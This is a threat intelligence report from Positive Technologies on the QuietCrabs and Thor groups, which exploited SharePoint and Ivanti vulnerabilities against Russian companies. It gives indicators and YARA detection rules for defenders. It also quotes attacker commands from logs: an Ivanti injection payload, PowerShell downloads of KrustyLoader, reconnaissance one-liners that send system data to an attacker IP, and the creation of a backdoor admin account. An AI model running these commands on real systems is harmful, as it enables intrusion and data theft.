PT Expert Security Center

Dragons in Thunder

Dragons in Thunder

Authors:

Alexander Badayev

Alexander Badayev

Threat Intelligence Specialist at the Positive Technologies Expert Security Center

Klimentiy Galkin

Klimentiy Galkin

Threat Intelligence Specialist at the Positive Technologies Expert Security Center

Vladislav Lunin

Vladislav Lunin

Lead Threat Intelligence Specialist of the Positive Technologies Expert Security Center Sophisticated Threat Research Group

Key findings

  • During investigations into two incidents at Russian companies, we identified malicious activity that involved the exploitation of RCE vulnerabilities, including CVE-2025-53770 in Microsoft SharePoint, as well as CVE-2025-4427 and CVE-2025-4428 in Ivanti Endpoint Manager Mobile.
  • In addition to the exploitation of vulnerabilities, we discovered samples of the KrustyLoader and Sliver malware, as well as traces of the Tactical RMM and MeshAgent tools.
  • Detailed analysis showed the presence of at least two groups: QuietCrabs (also known as UTA0178 and UNC5221) and Thor.
  • QuietCrabs were seen exploiting these vulnerabilities within just a few hours of PoC code being published.
  • The study suggests that Thor likely targeted around 110 Russian companies.

Group profile

No.Description

QuietCrabs

UTA0178, UNC5221, Red Dev 61

QuietCrabs is a threat group believed to be of Asian origin, whose primary objective is cyberespionage. Their attacks typically begin with the exploitation of known vulnerabilities, which has brought significant attention to their operations. The group is tracked under several different names and was first identified in early 2024; it remains active. Some researchers also link QuietCrabs to the larger APT27 group.
Victim geographyThe U.S., UK, Germany, South Korea, Russia, Taiwan, the Philippines, Iran, the Czech Republic, and a number of other countries
MotivationCyberespionage
First discoveredJanuary 2024
Last activeOngoing
No.Description
ThorThor is a threat group first observed in attacks against Russian companies in 2025. As final payloads, the attackers use LockBit and Babuk ransomware, as well as Tactical RMM and MeshAgent to maintain persistence. For initial access, they exploit publicly known vulnerabilities.
Victim geographyRussia
MotivationCyberespionage, data encryption
First discoveredMay 2025
Last activeOngoing

More detailed information about these groups is available on the PT Fusion TI portal.

Introduction

While investigating the incidents, the Positive Technologies Expert Security Center Incident Response team (PT ESC IR), supported by the Threat Intelligence department (PT ESC TI), found evidence of KrustyLoader malware. KrustyLoader was first described in January 2024 by researchers at Volexity and Mandiant, in attacks that exploited zero-day RCE vulnerabilities in Ivanti Connect Secure. At that time, it was reported only in a Linux version, but Windows builds have since appeared. Notably, at the time of this study the loader was being used by a single group, QuietCrabs.

As the investigation progressed, we also identified activity in the victim's infrastructure that pointed to another group. Interestingly, this second group appears to have disrupted QuietCrabs' attack and is likely the reason the attack attracted attention at all. We suppose that this second group is Thor. Based on analysis of the attackers' network infrastructure and telemetry data, we conclude that Thor was running a large-scale campaign against Russian companies. To gain initial access, the attackers exploited several remote code execution (RCE) vulnerabilities, including CVE-2025-53770 and CVE-2021-27065.

In this study, we describe the attack chains observed during the investigation and examine the tools used by the attackers.

QuietCrabs activity

Investigating the incidents and proactively hunting for malicious files revealed attacks targeting multiple sectors in Russia and other countries. An approximate QuietCrabs attack flow is shown in Figure 1.

Figure 1. Overall QuietCrabs attack flow
Figure 1. Overall QuietCrabs attack flow

QuietCrabs' attacks are characterized by mass internet scanning to find vulnerable servers. 

In the first incident, QuietCrabs exploited CVE-2025-4427 and CVE-2025-4428 one day after Ivanti's official advisory. Below is an example of how this exploitation appears in access.log. The output was written to a file with a .jpg extension and then retrieved by the attackers from the outside.

GET /api/v2/featureusage_history?adminDeviceSpaceId=131&format=${''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('/bin/bash -c $@|bash 0 echo df -a > /mi/tomcat/webapps/mifs/images/PaKE5k.jpg')}

GET /mifs/images/PaKE5k.jpg


In the second incident, we found traces of successful exploitation of CVE-2025-53770 within 24 hours of a working exploit being published, and failed attempts within a few hours of the first, non-working exploits appearing.

After gaining access to the SharePoint server, the group's actions followed roughly the following pattern:

  • Establish persistence on the vulnerable server by uploading an ASPX file that implements a simple web shell (described in the next section).
  • Retrieve information about the external IP address and check file write permissions. Command example:
powershell.exe -Command Invoke-WebRequest -Uri http://ifconfig[.]me -OutFile C:/Users/Public/Downloads/1.exe
  • Download the next stage from an external server. In this case, the next stage was KrustyLoader:.
powershell.exe -Command Invoke-WebRequest -Uri http://omnileadzdev.s3.amazonaws[.]com/l9oWUjyPR6Gc -OutFile C:/Users/Public/Downloads/1.exe
  • Use KrustyLoader to download and run a Sliver implant:
     

Sliver is a cross-platform, open-source framework designed to emulate attacker activity or conduct penetration tests. It can be used by organizations of any size to assess their security posture. Sliver implants connect to a C2 server over Mutual TLS (mTLS), WireGuard, HTTP, HTTPS, or DNS, and are dynamically compiled with asymmetric encryption keys for each binary.

Source: BishopFox / sliver (GitHub)

During our analysis of the network infrastructure, we noticed that QuietCrabs used the hosting provider DigitalOcean. This choice may be driven by their primary target region, North America: servers hosted there help their traffic blend in with US traffic. At the same time, we also saw this hosting provider used in attacks against Russian companies. As a U.S.-based provider, DigitalOcean does not help bypass geoblocking (unlike local or neutral providers) and may even make traffic harder to disguise, which highlights how unique QuietCrabs' tactics are.

ASPX web shell

To further secure their foothold, the attackers used an ASPX file—a basic web shell that returns command output as plain text in the response. The web shell accepts two GET parameters: cmd and timeout. The first is responsible for the command to execute; the second sets the maximum execution time.

The command is wrapped in the try..catch block, encoded using Base64, and executed via the system utility ScriptRunner.exe. If the command completes without errors, the output is written to:

C:\Program Files\Common Files\microsoft shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\<UUID>


An example of an access.log entry showing command execution:

GET /_layouts/15/ps_backdoor.aspx cmd=echo K046rywr6NOHae7m


The web shell then reads the command output from this file and sends it back to the attackers. A fragment of the script is shown in the figure below.

Figure 2. Fragment of the ps_backdoor.aspx web shell
Figure 2. Fragment of the ps_backdoor.aspx web shell

JSP loader

During the investigation, it became clear that QuietCrabs directly uploaded KrustyLoader by exploiting a vulnerability. Next, however, the Threat Intelligence team found a file in open sources that is a simple JSP loader. It is evident that similar samples were used in attacks against Java applications. The loader's logic is as follows:

  • Read the password from the pwd parameter of the query string and verify it. If it equals p@ss, proceed; otherwise, return the string 4c7c96d31ffaa6b8a5e86760edcb9294 in the response.
  • Read the version number from the version parameter of the query string and write it to the file.
  • Download KrustyLoader from an external server at IP address 143.198.8[.]180 and run it.
  • Return the response: { «status»: 0 }.
Figure 3. JSP loader code
Figure 3. JSP loader code

KrustyLoader

KrustyLoader has already been covered by other researchers; here we briefly recap the main artifacts that can be found on a system while it is running. KrustyLoader is a loader written in Rust. Its primary function is to decrypt a URL pointing to the payload, download that payload, inject it into a target process, and run it.

Almost all published studies focus on ELF x64 samples, and some vendors describe KrustyLoader exclusively as Linux malware. In our case, however, all incident artifacts were Windows samples.

A key feature of KrustyLoader is that it is unique malware associated with a single group—QuietCrabs. The attackers are gradually refining and updating this tool.

On startup, KrustyLoader copies itself to the %TEMP% folder using filename patterns listed below, where name is a name and gen_sym is a randomly generated string:

.<name>.<gen_sym>.__selfdelete__.exe
.<name>.<gen_sym>.__relocated__.exe


These files then act as markers that the system is infected. After copying, KrustyLoader deletes itself from its original directory. Then it initializes and transfers control to the part of the code obfuscated with control flow flattening (CFF).

Figure 4. CFF initialization and dispatching
Figure 4. CFF initialization and dispatching

In the first dispatcher, KrustyLoader checks for the existence of the file C:\Users\Public\Downloads\0; in the second, it checks that this file is not empty. The contents of this file are used as a parameter for the tokio::sleep function.

Figure 5. Verifying the file existence
Figure 5. Verifying the file existence

In the third dispatcher, KrustyLoader verifies that it is running from C:\Users\Public\Downloads.

Figure 6. Target path check
Figure 6. Target path check

In the fourth dispatcher, KrustyLoader first decrypts the URL used to obtain the payload. The URL is encrypted in two layers: first with XOR, second with AES-128-CFB. All data is stored in the .text section; KrustyLoader locates it using a marker.

Figure 7. Data in the .text section
Figure 7. Data in the .text section

A script to decrypt the URL is shown below:
 

import sys
 
from Crypto.Cipher import AES
from binascii import unhexlify
 
data = open(sys.argv[1], 'rb').read()
 
target_dir = b"c:/users/public/downloads/"
 
start_target_dir = data.find(target_dir)
start_marker = data.find(b"|||||||||||||||||")
start_enc = start_marker - start_target_dir
 
encrypted =  unhexlify(data[start_target_dir+len(target_dir):start_marker])
 
xor_key_data_marker = b"#####################"
start_xor_key_marker = data.find(xor_key_data_marker)
xor_key = data[start_xor_key_marker+len(xor_key_data_marker)]
 
if (xor_key == 0x0F):
       xor_key_text_marker = b"\x41\x80\xF7"
       start_xor_key_text_marker = data.find(xor_key_text_marker)
       xor_key = data[start_xor_key_text_marker+len(xor_key_text_marker)]
 
encrypted_url = bytes([i^xor_key for i in encrypted])
 
aes_key = data[start_target_dir-32:start_target_dir-16]
aes_iv = data[start_target_dir-16:start_target_dir]
 
cipher = AES.new(aes_key, AES.MODE_CFB, iv=aes_iv, segment_size=128)
decrypted = cipher.decrypt(encrypted_url)
print(decrypted.decode())


KrustyLoader decrypts the payload using the same key and initialization vector as for the URL. The decryption script is shown below.

import sys
from Crypto.Cipher import AES
 
enc = …
key = …
iv = …
 
cipher = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128)
open('decrypted', 'wb').write(cipher.decrypt(enc))


Next, the payload is injected into the explorer.exe process and executed via the RtlCreateUserThread function.

Figure 8. Payload injection into explorer.exe
Figure 8. Payload injection into explorer.exe

In all samples we found, the payload was Sliver; however, other payloads cannot be ruled out. Figure 7 shows another URL. In this sample it has the value ########, but if it were replaced with a plaintext URL, the payload at that URL would also be downloaded and executed, this time by injecting it into cmd.exe.

Figure 9. Payload injection into cmd.exe
Figure 9. Payload injection into cmd.exe

Activity of the second group

While analyzing activity on the compromised hosts, we noticed that part of the tools did not overlap with what QuietCrabs uses. Moreover, unlike QuietCrabs, the second group operated much more noisily, relying on well-known tools and techniques. In the incidents we investigated, this noisy behavior helped detect both groups in time and avoid more serious consequences.

An example of Thor's initial reconnaissance commands:

powershell -Command $r=(systeminfo); iwr -Uri ('http://95.142.40[.]51:888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing

powershell -Command $r=(tasklist); iwr -Uri ('http://95.142.40[.]51:888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing

powershell -Command $r=(whoami /priv); iwr -Uri ('http://95.142.40[.]51:888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing

powershell -Command $r=(nltest /dclist:); iwr -Uri ('http://95.142.40[.]51:888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing

powershell -Command $r=(nltest /trusted_domains); iwr -Uri ('http://95.142.40[.]51:888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing

powershell -Command $r=('powershell Test-NetConnection 95.142.40[.]51 -Port 4444 ; iwr -Uri ('http://95.142.40[.]51:8888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing


Next, the attackers created a user account srv using the command below and added this account to the local administrator group.

powershell -Command $r=(net user srv Brooklin2025! /add); iwr -Uri ('http://95.142.40[.]51:888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing


The group used the ADRecon utility, which they downloaded to C:\users\public\ad_ru.ps1, to perform Active Directory domain reconnaissance. The results were written to a file that the attackers later viewed:

file:///C:/Users/<User>/Desktop/ADRecon-Report-<date>.zip


They also used certutil to download various PowerShell scripts:

certutil.exe -urlcache -split -f http://95.142.40[.]51:654/exec.ps1 $public\\sql.ps1


To escalate privileges, the group used the publicly available GodPotato tool, and for data extraction they relied on utilities such as secretsdump and mimikatz.

Data collected by the group included credentials for local and domain users, mail servers, and employees' Telegram sessions. To collect user files, they used Rclone.

As a result, if not for the second group's activity and its use of widely known tools, QuietCrabs would likely have remained undetected.

By correlating these findings, we were able to find a similar description and matching indicators of compromise in a report published by Angara Security on August 19. Their researchers attribute the attack to the Thor group that uses LockBit and Babuk ransomware. In our case, the attack was detected early enough that these malicious tools were not observed.

Given the overlap in tools, techniques, and indicators of compromise, we assume that Thor is behind this attack.

An approximate Thor attack flow is shown in the figure below.

Figure 10. Thor attack flow
Figure 10. Thor attack flow

Correlation between the groups actions

During the investigation, we noticed an unusual pattern: QuietCrabs and the presumed Thor group operated in almost the same time period. The gap between their malicious activities was only a few days. It is also important that the investigation began at the point where Thor activity was first registered. In other words, QuietCrabs could have remained inside the infrastructure for much longer if not for Thor.

That said, we cannot confidently state that QuietCrabs is collaborating with Thor. In this case, the overlap is most likely coincidental, as both QuietCrabs and Thor conduct broad scans of organizations for subsequent compromise.

Thor's victims

Based on telemetry-driven analysis of the attackers' network infrastructure, we found that the group scanned about 145 servers. On 101 of them we identified vulnerabilities, mostly from 2021, with a total of 269 unique vulnerabilities.

Figure 11. Top vulnerabilities observed on servers of potential victims

We were able to identify around 110 Russian companies as potential victims. The affected organizations varied greatly both in economic sector and in the potential profit they offered the attackers.

Figure 12. Number of victims across different economic sectors

We described similar attacks against vulnerable servers in our article on malicious code injected into Microsoft Outlook authentication pages. In both cases, the victims included not only small and medium-sized businesses but also defense industry enterprises, healthcare organizations, and research centers.
All vulnerable servers were located in Russia, which indicates that Thor's attacks were clearly targeted at Russian infrastructure.

Conclusions

The attacks attributed to Thor affected many Russian companies. The group did not rely on sophisticated techniques or unique tools. With a well-designed infrastructure and mature security processes, these attacks could have been prevented or at least quickly contained.

By contrast, QuietCrabs' attacks posed a more serious threat. The attackers used exploits shortly after new vulnerabilities were disclosed: the gap between a patch release and the first attack ranged from a few days to just a few hours. According to Mandiant's investigations, QuietCrabs' average dwell time in victim infrastructure is 393 days.

Positive Technologies product verdicts

Indicators of compromise

More indicators of compromise can be found on the PT Fusion TI portal.

File-based IoCs associated with QuietCrabs

Network IoCs associated with QuietCrabs

Network IoCs associated with Thor

File signatures

rule PTESC_apt_win_ZZ_QuietCrabs__Trojan__KrustyLoader {
    strings:
        $code = {
            BF ?? ?? ?? ??
            48 8D ?D ?? ?? ?? ??
            [0-9]
            81 FF ?? ?? ?? ??
            74 ??
            [0-1] 81 FF ?? ?? ?? ??
            74 ??
            [0-1] 81 FF ?? ?? ?? ??
            0F 84 ?? ?? ?? ??
            [0-1] 81 FF ?? ?? ?? ??
            0F 85 ?? ?? ?? ??
            E9
        }
        $s1   = "[-]ResumeThread failed: "
        $s2   = "[-]Unknow IMAGE_OPTIONAL_HEADER type for machine type: "
    condition:
        ((uint16(0) == 0x5a4d) and (all of them))
}
 
rule PTESC_tool_win_ZZ_Sliver__Backdoor {
    strings:
        $c           = {
            0F B6 54 0C ??
            0F B6 5C 0C ??
            31 DA
            88 14 08
            48 FF C1
            48 83 F9 0C
            7C
        }
        $r           = /([a-z]{10}\/){4}[a-z]{10}\.\(\*[A-Z][a-z]{9}\)/
        $s_bishopfox = "bishopfox"
        $s_github    = "github.com/bishopfox/sliver"
        $s_obf1      = ".Cleanup.func"
        $s_obf2      = ".ConnectRemote.func"
        $s_obf3      = ".SessionInit.func"
        $s_obf4      = ".func500"
        $s_obf5      = ".makeConnectedServerPipe.func"
        $s_obf6      = ".phpURL.func"
        $s_obf7      = ".readWinHttpProxy.func"
        $s_obf8      = ".txtURL.func"
        $s_obf9      = /main\.[a-z]{10}\.func5/
        $s_sliver    = "sliver"
    condition:
        uint16(0) == 0x5A4D and (all of ($s_obf*) or (#s_sliver > 100 and #s_bishopfox > 100) or any of ($c*) or (any of ($s_obf*) and #r > 100) or $s_github)
}
rule PTESC_tool_multi_ZZ_WebShell__Backdoor__ASPX {
    strings:
        $asp = "<%@"
        $cmd = "cmd.exe"
        $p1  = "Process()"
        $p2  = "System.Diagnostics.Process"
        $p3  = "new Process"
        $v1  = "Response.Write("
        $v2  = ".Start("
        $v3  = "UseShellExecute"
        $v4  = "RedirectStandardOutput"
        $v5  = "RedirectStandardInput"
        $v6  = "Request.Params["
        $v7  = "Request.Headers["
        $v8  = "Request.Files["
        $v9  = "Environment.GetLogicalDrives()"
        $w1  = "new FileStream"
        $w2  = "new FileInfo"
        $w3  = ".Write("
    condition:
        $asp and filesize < 100KB and (any of ($p*) or 2 of ($w*)) and (3 of ($v*) or 1 of ($v*) and $cmd)
}

rule PTESC_tool_multi_ZZ_TacticalRMM__RemoteAdmin {
    strings:
        $git = "amidaware/rmmagent"
        $s1  = "Tactical RMM Agent"
        $s2  = "Path to custom meshcentral dir"
        $s3  = "NatsWSCompression"
        $s4  = "nixMeshAgentBin"
        $s5  = "limitNatsData"
        $s6  = "CleanupAgentUpdates"
        $s7  = "GetAgentCheckInConfig"
        $s8  = "SendPingCheckResult"
        $s9  = "WinSvcCheckResult"
        $s10 = "PendingActionPK"
        $s11 = "GetCheckInConfFromAPI"
        $s12 = "DjangoStringResp"
    condition:
        (uint32be(0) == 0x7f454c46 or uint16(0) == 0x5a4d) and (5 of ($s*) or #git > 10)
}

rule PTESC_tool_multi_ZZ_MeshAgent__RemoteAdmin {
    strings:
        $s1  = "ScriptContainer.heapFinalizer"
        $s2  = "place .msh file with this executable"
        $s3  = "AgentCore/MeshServer"
        $s4  = "('MeshAgent')"
        $s5  = "addCompressedModule('agent-installer"
        $s6  = "MeshServer_ControlChannel"
        $s7  = "Cannot abort operation that is marked as 'wait for result'"
        $s8  = "compactDirtyMinimum"
        $s9  = "MeshConsole"
        $s10 = "Ooops, invalid socket: "
        $s11 = "Restart Failed, because Script Engine Stop failed"
        $s12 = "Secondary Agent unavailable to assist with self update"
    condition:
        (uint16(0) == 0x5a4d or uint32be(0) == 0x7f454c46) and 5 of them
}

The MITRE ATT&CK Matrix

Dragons in Thunder